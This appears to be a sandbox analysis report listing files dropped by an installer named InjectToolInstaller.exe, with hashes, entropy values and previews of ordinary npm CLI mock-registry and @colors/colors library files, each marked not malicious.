Preview:	const pacote = require('pacote').const Arborist = require('@npmcli/arborist').const npa = require('npm-package-arg').const Nock = require('nock').const stringify = require('json-stringify-safe')..class MockRegistry {. #tap. #nock. #registry. #authorization. #basic. #debug. #strict.. constructor (opts) {. if (!opts.registry) {. throw new Error('mock registry requires a registry value'). }. this.#registry = new URL(opts.registry). this.#authorization = opts.authorization. this.#basic = opts.basic. this.#debug = opts.debug. this.#strict = opts.strict. // Required for this.package. this.#tap = opts.tap. if (this.#tap) {. this.startNock(). }. }.. static tnock (t, host, opts, { debug = false, strict = false } = {}) {. const noMatch = (req) => {. if (debug) {. console.error('NO MATCH', t.name, req.options ? req.options : req.path). }. if (strict) {. // There are network requests that get caught regardless of

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-registry\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	4.742293268664244
Encrypted:	false
SSDEEP:	24:X1eCn29KFw120hPGLD/7OUwiUJo631+RyH5Y9n/sLIFkXt+VsvR:leo29F120hPGnVwffF+05SnkseXtq8
MD5:	F66E40E2056B291BB482C9CA2D889D8D
SHA1:	03DBB985DF305C3925967E28F310E4697FD6D9DF
SHA-256:	69C7444CC910CB9B46FE2E6516C7FD145EFE95211DCABA8AD58D964BAFA5C993
SHA-512:	50327AC29463C7A222B70283E6B252C685B0EB524E6ACD71109B87BAD3FE94C82624D59AEA70F5C821EC5CC79DBE6B42C986187BF3E51E71BFCBEA496A89F382
Malicious:	false
Preview:	{. "name": "@npmcli/mock-registry",. "version": "1.0.0",. "description": "",. "main": "lib/index.js",. "private": true,. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "node .. run lint -- --fix",. "snap": "tap",. "posttest": "node .. run lint". },. "repository": {. "type": "git",. "url": "https://github.com/npm/cli.git",. "directory": "mock-registry". },. "keywords": [],. "author": "GitHub Inc.",. "license": "ISC",. "bugs": {. "url": "https://github.com/npm/cli/issues". },. "homepage": "https://github.com/npm/cli#readme",. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^18.17.0 \|\| >=20.5.0". },. "templateOSS": {. "//@npmcli/template-oss": "This file is partially managed by @npmcli/template-oss. Edits may be overwritten.",. "version": "4.19.0",. "content": "../scripts/template-oss/index.js". },.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\mock-registry\test\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	172
Entropy (8bit):	4.633055295103262
Encrypted:	false
SSDEEP:	3:4wp5z3nMQhHpHJLhbDbkdiOYKZ3MQPH/QucOwMTuhTiNAu:Vz8uLhD2io+sQucOwMTuM
MD5:	61527DCDDB9C0FDD302A7060A0E9FB3C
SHA1:	03A8D5AD38EB0A50295C20A119E5DF88BD2AEFFF
SHA-256:	7C6C7369C51AFEA2FA5246C8521B35788F8994F9A43B786BFF6E28D1C70E1C2F
SHA-512:	927F7E2A232AD2DA71DC1C5DE24BB338185E18B08CBB4F73EA20606C1B10A272E9C164F2B7A56F95BE467ECBC87E8A64EEF4F9961864C49EDF9D235C2B2139A3
Malicious:	false
Preview:	const t = require('tap').const MockRegistry = require('..')..t.test('it works', async t => {. t.ok(new MockRegistry({. registry: 'http://registry.npmjs.org/',. })).}).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\.gitignore

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6735
Entropy (8bit):	4.653173909702924
Encrypted:	false
SSDEEP:	96:pJ0SKktqrQ16Fj2s1HLZX2NwhHn1R75Tsyd60fLpZQ:pJ92Q1A1Bswt1TTsyd60fzQ
MD5:	BB6D4E8378742BC653706C01C59256D9
SHA1:	0D70B4BC32BE5A05ABB6ABA87BDC2BD0C2B0E1FF
SHA-256:	C6189C8740542CD5B8164650DC6CB9BBE28914DC3F6B8BB5ACC52C22C5EAB92B
SHA-512:	084E3A327AA4197991D0B28486298C047636A37D2CD6D72BEFDE3D88F21210A9C6DA625A9207C142B1095C88D12F341F619F772969C76CDCBD50A0DEDBA89AE7
Malicious:	false
Preview:	# Automatically generated to ignore everything except bundled deps.# Ignore everything by default except this file./.!/.gitignore.# Allow all bundled deps.!/@colors/./@colors/.!/@colors/colors.!/@isaacs/./@isaacs/.!/@isaacs/cliui.!/@isaacs/cliui/node_modules/./@isaacs/cliui/node_modules/.!/@isaacs/cliui/node_modules/ansi-regex.!/@isaacs/cliui/node_modules/emoji-regex.!/@isaacs/cliui/node_modules/string-width.!/@isaacs/cliui/node_modules/strip-ansi.!/@isaacs/string-locale-compare.!/@npmcli/./@npmcli/.!/@npmcli/agent.!/@npmcli/agent/node_modules/./@npmcli/agent/node_modules/.!/@npmcli/agent/node_modules/agent-base.!/@npmcli/agent/node_modules/http-proxy-agent.!/@npmcli/agent/node_modules/https-proxy-agent.!/@npmcli/agent/node_modules/socks-proxy-agent.!/@npmcli/disparity-colors.!/@npmcli/fs.!/@npmcli/git.!/@npmcli/installed-package-contents.!/@npmcli/map-workspaces.!/@npmcli/metavuln-calculator.!/@npmcli/name-from-folder.!/@npmcli/node-gyp.!/@npmcli/package-json.!/@npmcli/promise-s

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1235
Entropy (8bit):	5.161690357482777
Encrypted:	false
SSDEEP:	24:JJbs9ZrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:Ps9ZaJHlxE35QHOs5exm3ogF5n
MD5:	12D99BE4215EA44DF59CE831ED79D258
SHA1:	0C75BF219569BCB432376A47AA7CA56E59708FB9
SHA-256:	58597DED729A5E749CC323E2AE6E533A31BE3622737B33E0239BA075CA14B515
SHA-512:	B01E4984C1855BAC5282FB9218B0391F830530E66FEFEBF590FD22E2073F473F7D55549D93BEBB11AA1F7B3A806318C9D22EFDC0D4D913414C9BAA8A68324167
Malicious:	false
Preview:	MIT License..Original Library. - Copyright (c) Marak Squires..Additional Functionality. - Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com). - Copyright (c) DABH (https://github.com/DABH)..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AU

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\examples\normal-usage.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2004
Entropy (8bit):	4.91141202682451
Encrypted:	false
SSDEEP:	48:rRzMj78wYbwTd30hWT1Nj5HW+a6L+C+iKldAgWboEBudA7:rOj/1pa6L+C+iKldAgWydA7
MD5:	EECE3971254C2DDCBA55C1259AE999CE
SHA1:	BB023A5AA0FF537DEE2413203EE181C14F9C927F
SHA-256:	8EBC54E2C345BF1A6084F51AAD90035E4E066F9C46FDCC757FD84430602F3FA1
SHA-512:	D22261B8BAFB939CCB7C0DBC3D4C7B99C59B7DEF6B253914629BFA1C470E6B77F2D02D7727DDB2409D611D2A9E3590B3F0A6D60515F11A56955ACE1C490330CD
Malicious:	false
Preview:	var colors = require('../lib/index');..console.log('First some yellow text'.yellow);..console.log('Underline that text'.yellow.underline);..console.log('Make it bold and red'.red.bold);..console.log(('Double Raindows All Day Long').rainbow);..console.log('Drop the bass'.trap);..console.log('DROP THE RAINBOW BASS'.trap.rainbow);..// styles not widely supported.console.log('Chains are also cool.'.bold.italic.underline.red);..// styles not widely supported.console.log('So '.green + 'are'.underline + ' ' + 'inverse'.inverse. + ' styles! '.yellow.bold);.console.log('Zebras are so fun!'.zebra);..//.// Remark: .strikethrough may not work with Mac OS Terminal App.//.console.log('This is ' + 'not'.strikethrough + ' fun.');..console.log('Background color attack!'.black.bgWhite);.console.log('Use random styles on everything!'.random);.console.log('America, Heck Yeah!'.america);..// eslint-disable-next-line max-len.console.log('Blindingly '.brightCyan + 'bright? '.brightRed + 'Why '.brightYellow

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\examples\safe-string.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2119
Entropy (8bit):	4.8543354861219
Encrypted:	false
SSDEEP:	48:a07IwEUwVPRRgDHK6LLC+iKlFy7SWbWEBqFy7n:zGWHK6LLC+iKlFy7SW8Fy7n
MD5:	81EE149DBB058D34E35FE38DDEF46CC5
SHA1:	0164395722C7C3A733AFEB97B21F804B0799D151
SHA-256:	1B991D66781ACF3AE02A7CD9EF7E4CD13270A0CDA1A57146BC2DAE2216036C01
SHA-512:	235E0E4A2A957E6FD0C5DD2E9D7394C76BC81FC53FD0D31D1E955FAFD3881DEEAFAB1D751F6D5B1BEC824D7115E108897731037041A9E21D67DD8EAB9931C349
Malicious:	false
Preview:	var colors = require('../safe');..console.log(colors.yellow('First some yellow text'));..console.log(colors.yellow.underline('Underline that text'));..console.log(colors.red.bold('Make it bold and red'));..console.log(colors.rainbow('Double Raindows All Day Long'));..console.log(colors.trap('Drop the bass'));..console.log(colors.rainbow(colors.trap('DROP THE RAINBOW BASS')));..// styles not widely supported.console.log(colors.bold.italic.underline.red('Chains are also cool.'));..// styles not widely supported.console.log(colors.green('So ') + colors.underline('are') + ' '. + colors.inverse('inverse') + colors.yellow.bold(' styles! '));..console.log(colors.zebra('Zebras are so fun!'));..console.log('This is ' + colors.strikethrough('not') + ' fun.');...console.log(colors.black.bgWhite('Background color attack!'));.console.log(colors.random('Use random styles on everything!'));.console.log(colors.america('America, Heck Yeah!'));..// eslint-disable-next-line max-len.console.log(colors.br

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\colors.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5868
Entropy (8bit):	5.043400025417817
Encrypted:	false
SSDEEP:	96:edoupQHToN5jRwXmTEo/ErnhKaCVGPi7yZv6b+3L25kgtcisyi5LL8KGH4nnenhP:ETQHTaPw5oCKaCVGPx6b+qkEK9L0H4nW
MD5:	AEAE8A09F5FB6A0E6F58CDB9FBF6CFA3
SHA1:	A7A5B0CEADB0E3CAC9B4723D6158B3EE9605437D
SHA-256:	E0AA28D1CFE746E50B36EADD8B73F7077DF3003E07C4F7B3CC5C40E45C597031
SHA-512:	9CF4ED474A168434D9B195CEA759FDB35D8A814597829FEC0BC04805239985937A76D160FAD9FDE18697ACFC706CA4487779C1ED313BC45D8F21B5A44116CA5D
Malicious:	false
Preview:	/*..The MIT License (MIT)..Original Library. - Copyright (c) Marak Squires..Additional functionality. - Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIAB

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\custom\trap.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1677
Entropy (8bit):	4.587075110767431
Encrypted:	false
SSDEEP:	48:u8ekzkDCx0vRWdIZVpo4ogrcOFNUpXSboULr:u8HzmCmvl3oGcOFNUt0fX
MD5:	10BD79DAA882F24426CE6DD2130C283E
SHA1:	EC8D149DD0C3D5B260C83544A24C4F8BA6EB1A09
SHA-256:	EAC886DF893BFA10E30E28228350D5A89126A4BA773A3D0E2D74D7B56029751D
SHA-512:	633794D78E91303AF8CE902D6F21E88F597B1BC80727267BD2895C84EA32E88D3DA4AC6811A7BB21C706544B27D36A65F23CFB205D5B4ED8531A6DFC03FFA1BC
Malicious:	false
Preview:	module['exports'] = function runTheTrap(text, options) {. var result = '';. text = text \|\| 'Run the trap, drop the bass';. text = text.split('');. var trap = {. a: ['\u0040', '\u0104', '\u023a', '\u0245', '\u0394', '\u039b', '\u0414'],. b: ['\u00df', '\u0181', '\u0243', '\u026e', '\u03b2', '\u0e3f'],. c: ['\u00a9', '\u023b', '\u03fe'],. d: ['\u00d0', '\u018a', '\u0500', '\u0501', '\u0502', '\u0503'],. e: ['\u00cb', '\u0115', '\u018e', '\u0258', '\u03a3', '\u03be', '\u04bc',. '\u0a6c'],. f: ['\u04fa'],. g: ['\u0262'],. h: ['\u0126', '\u0195', '\u04a2', '\u04ba', '\u04c7', '\u050a'],. i: ['\u0f0f'],. j: ['\u0134'],. k: ['\u0138', '\u04a0', '\u04c3', '\u051e'],. l: ['\u0139'],. m: ['\u028d', '\u04cd', '\u04ce', '\u0520', '\u0521', '\u0d69'],. n: ['\u00d1', '\u014b', '\u019d', '\u0376', '\u03a0', '\u048a'],. o: ['\u00d8', '\u00f5', '\u00f8', '\u01fe', '\u0298', '\u047a', '\u05dd',. '\u06dd', '\u0e4f'],. p: ['\u01f7', '\u048e'],.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\custom\zalgo.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2890
Entropy (8bit):	4.580016947715588
Encrypted:	false
SSDEEP:	48:ykPgARQufd2Irn70gFbWw58H6pDKTGBtcFyvcTCiSBfs3fR3qDyaiQcE:y7AqC8AtT8H6hKTGBuFyvcTCHfs3fR3i
MD5:	FD04E09CDC372A7B98E03A0791A2C10C
SHA1:	874EEF937D0E95291E995584C132FB2A0DED6AAB
SHA-256:	124463A7437210CD07269461255ECD45CE8AF1AC48C8508857CB07514FA42C03
SHA-512:	9F558EA0D9C684A90B25012E0BED046922FAC858F951480FC80949E20C612C93BDA5A444317F18956019974970E21A070C9C03357261BBB5484947299A11C09E
Malicious:	false
Preview:	// please no.module['exports'] = function zalgo(text, options) {. text = text \|\| ' he is here ';. var soul = {. 'up': [. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.',. ],. 'down': [. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. ],. 'mid': [. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.', '.',. '.', '.', '.',. '.', '.', '.', '.',. '.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\extendStringPrototype.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3295
Entropy (8bit):	4.659648066175913
Encrypted:	false
SSDEEP:	96:Z2dsGBSjcpxF/I3HyHTisVhGSnSrqGa4R:ZLGBSjcpxF/I3GTPVhGrqGaS
MD5:	312D1A151B59C5662A717A9F2CB7A71E
SHA1:	8F67D601A072C9160FF688A21927753D5116D28F
SHA-256:	DA39555A80DAACF5BF56DB9228CC5268A5EF2D209706AA8A7FB0C618902037EA
SHA-512:	712759F36D9E6862127BE9C41962B7322E7E8DF93BEBB90B96C47E60F8C7FD64BE7C0972D962D9ED8AEB731C642511C63F8E03BE869C99A6D0D08E0CCF2F08E4
Malicious:	false
Preview:	var colors = require('./colors');..module['exports'] = function() {. //. // Extends prototype of native string object to allow for "foo".red syntax. //. var addProperty = function(color, func) {. String.prototype.__defineGetter__(color, func);. };.. addProperty('strip', function() {. return colors.strip(this);. });.. addProperty('stripColors', function() {. return colors.strip(this);. });.. addProperty('trap', function() {. return colors.trap(this);. });.. addProperty('zalgo', function() {. return colors.zalgo(this);. });.. addProperty('zebra', function() {. return colors.zebra(this);. });.. addProperty('rainbow', function() {. return colors.rainbow(this);. });.. addProperty('random', function() {. return colors.random(this);. });.. addProperty('america', function() {. return colors.america(this);. });.. //. // Iterate through all default styles and colors. //. var x = Object.keys(colors.styles);. x.forEach(function(style) {. addP

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	369
Entropy (8bit):	4.713445174139629
Encrypted:	false
SSDEEP:	6:qbM0eV2cMcb4pqLEiLnpqJcvWF8vjK2QFnio0bqTygaRZfM/E1H:aM0pnfiEiLnXOJVxXCqTygaRZc6
MD5:	AFBFFA68255E2A11A197724A7F44266C
SHA1:	7D17BE54FD3E8709CCC8675C77E973087755FF10
SHA-256:	1465F31DBE9E763BFC246F3AE66F78F8B3E3229ECADAF58135D12A7E2596D4EC
SHA-512:	20589C94C986DCFFE9F89192B36AA3157586DC6805ACD0AB194FCA2CF7B0A569C78F2C51B902F76ED6B12E2B7D318BB08B45A34082863B230CFED0AEF7A5B45B
Malicious:	false
Preview:	var colors = require('./colors');.module['exports'] = colors;..// Remark: By default, colors will add style properties to String.prototype..//.// If you don't wish to extend String.prototype, you can do this instead and.// native String will not be touched:.//.// var colors = require('colors/safe);.// colors.red("foo").//.//.require('./extendStringPrototype')();.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\maps\america.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	278
Entropy (8bit):	4.3434325314115325
Encrypted:	false
SSDEEP:	6:xpGfehK2RS32SAgStgGHbufy2QXM6+QHbe2FHQXv:xrKom2SAgStg4bufytXbe2dK
MD5:	5088213A9DB0E451AD6E583F6065CC31
SHA1:	93197F184AE42006229373314E3DF6E29B1602BB
SHA-256:	A8747ED6F9FDE27C23D8374A87FA6A80898C72C9BE80959B405382624C07FFB4
SHA-512:	0D592416C07463236A1F5E39A97CDB1F5A979EA1FC09C3A13879BF83E09FCC146926441C0C6966F9CDD4A2609C60FC0301052921F2F904537DAC2FCED85B3DA9
Malicious:	false
Preview:	module['exports'] = function(colors) {. return function(letter, i, exploded) {. if (letter === ' ') return letter;. switch (i%3) {. case 0: return colors.red(letter);. case 1: return colors.white(letter);. case 2: return colors.blue(letter);. }. };.};.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\maps\rainbow.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	4.5902157350801644
Encrypted:	false
SSDEEP:	6:xpGfe+iWXUQK9BU22CLRK2RS3jtc6uAtViUcMLMo2HQX3:xJZQ6U22EKomjt5uAtcU5RI0
MD5:	D5ECD753D7F60ED9B25A56EBB85DEEAD
SHA1:	581CDFD9DD9D1449C2C0FC0D77FFDDA713415B6E
SHA-256:	85641874E0C1B9304099169479BF89B29B46C7E042C16CACEF9B5E4C5F8B9E7F
SHA-512:	B7E6A18673F2657243320E45026B94DF1E7B139BD5244BDCE08F7C7645AA8A803B1A2276E1A5CBD34DE5C8CE39AC5779EA3EE508DB01EEEFE37D1B0E2F4E5A77
Malicious:	false
Preview:	module['exports'] = function(colors) {. // RoY G BiV. var rainbowColors = ['red', 'yellow', 'green', 'blue', 'magenta'];. return function(letter, i, exploded) {. if (letter === ' ') {. return letter;. } else {. return colors[rainbowColors[i++ % rainbowColors.length]](letter);. }. };.};..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\maps\random.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	454
Entropy (8bit):	4.61472405539987
Encrypted:	false
SSDEEP:	12:x8BU6ez+rrEusADE0ywKoItmFGPrpGuRf:msKEusAg0uJtmEPFVf
MD5:	DCF15F9BFE36DB8471A73ED2465A5B30
SHA1:	B657B6477D0F9680A0E316ADA993DB165F28CBAB
SHA-256:	A0461E6327C356E9815E4273C9972EF63C77535E9DDA29D7F5A8CF4B1B896ACE
SHA-512:	8CD9C5873ACBD77F3734DA8AD47C5A875F0BAA6A97B9B022AB497994D8D9D496EDD7C431A43F7FDA24DA273D6BC6B8150CAEB9644279174576F29FED7527D5F8
Malicious:	false
Preview:	module['exports'] = function(colors) {. var available = ['underline', 'inverse', 'grey', 'yellow', 'red', 'green',. 'blue', 'white', 'cyan', 'magenta', 'brightYellow', 'brightRed',. 'brightGreen', 'brightBlue', 'brightWhite', 'brightCyan', 'brightMagenta'];. return function(letter, i, exploded) {. return letter === ' ' ? letter :. colors[. available[Math.round(Math.random() * (available.length - 2))]. ](letter);. };.};.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\maps\zebra.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.456055176072578
Encrypted:	false
SSDEEP:	3:3B4DdiGgoxeHQ+5tPRZKBAB3I+2FudQWEFANORmvH3v:xpGfehK2RInsNHH3v
MD5:	992877DB0BB4B1A8793B1CC0533ACC5A
SHA1:	577A98A2D5116FDF4145EFCDA27293052ADCC352
SHA-256:	07F31C776E6FED5A0660DBD6D1848C5C0944F0A1E53E4A7813DA0B23286750CA
SHA-512:	1D612E3927AE48C99274029B9CCC7D51F1E1011B499C6C9C788E1B063D1E385062AF8085EB9F40401B08486318A5EDFF885771200A2626C22EBA03411D387485
Malicious:	false
Preview:	module['exports'] = function(colors) {. return function(letter, i, exploded) {. return i % 2 === 0 ? letter : colors.inverse(letter);. };.};.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\styles.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2513
Entropy (8bit):	5.359696520803059
Encrypted:	false
SSDEEP:	48:WwaJHlxE35QHOs5exm3ogF51JQY9fMWBEu4DrtLbfjsEAh3N:oupQHTow9fMhuQrtLbfj3AD
MD5:	CDAFDC6DC4D16CA04034F289D40547F5
SHA1:	F76065B794D382CD8702B19A0C4523A06D537D9D
SHA-256:	D469BF3213ACD43F72BE593ACDACF925F248893E015F13C12A4A365A2076ECF2
SHA-512:	DB800988265D01AC7E75E83E375493F85407AE443D4B09A524C8F2DFF2C340ED718A3D6B66B929CACBFEF3624541B52721145CDBBE7ECAD12C775240BD9BB738
Malicious:	false
Preview:	/*.The MIT License (MIT)..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT,

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\system\has-flag.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	5.285915494868282
Encrypted:	false
SSDEEP:	24:TrOJH7H0yxgtUHw1hC09QHOsUv4eOk4/+/m3oqLFVBBAoxQVyyp+6:TSJrlxEvdQHOs5exm3ogFVgoxJZ6
MD5:	E2ABB168551E20C66E89E8BB2108C0EA
SHA1:	414FF6FE54234EEB07A52887BCC462DDBFA892E1
SHA-256:	CBBE0081CC62A0E54ED201DC0C1503A507DAA076B7BDBAA40ECCFAA5FD9D1D07
SHA-512:	B35B96E1D62884AD0F2012353611986C9586ED3780556E5D9838FF8328313B590EE3729BA5D8D49C1AA8F9B6CFAC0A736BC01336DC467E97BD74DDA383F83C9C
Malicious:	false
Preview:	/*.MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies.of the Software, and to permit persons to whom the Software is furnished to do.so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR O

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\lib\system\supports-colors.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4049
Entropy (8bit):	5.249413699216452
Encrypted:	false
SSDEEP:	96:oupQHTo/ztAk0/kUzic5f5LmW72yZfJBZAHEI6X1MYW1WuFDjK:TQHTCYkUzrrSW5Zf3Z/3MYW1WuFDW
MD5:	5E53710D6B83525F0227F5F9AFA4F6C1
SHA1:	232B5DA48A433E4C6F545B48FE692056B3A87445
SHA-256:	8ED006395E84E32CF3AD027C789817360D3553E66CC01A63D66E0DFEA9F42A00
SHA-512:	107AC75F6F02AE2C2592D4806681262E9A22104279AD0C08DBADF6CDF642D1B7C96C7667E83FE2344463318DB10156CB4E2692EB1433F603161056DAC1E64ADA
Malicious:	false
Preview:	/*.The MIT License (MIT)..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT,

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@colors\colors\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	4.41117940728432
Encrypted:	false
SSDEEP:	24:YJVCYt1NM0pt5KNc9S4//V2rm+85aq5ZKK:YJ0oNMGEDc5d5
MD5:	B092A102465822C89484AAE094A5965A
SHA1:	32854FE5AE88137F329372C00C3DC2F614C94DBB
SHA-256:	FE58F1CE2ED2BE1ECD7FCE134676372EB4949E2BA0D7D91D41B8F34A988E9576
SHA-512:	668444C16BB992B0DBEBD3B95C6AE0F5F5D955A722D99DD507C0EA01276742775606D1AB96C0A077A892423EA69FB50EB013F2A44295B57F80FA44F04A3AE663
Malicious:	false
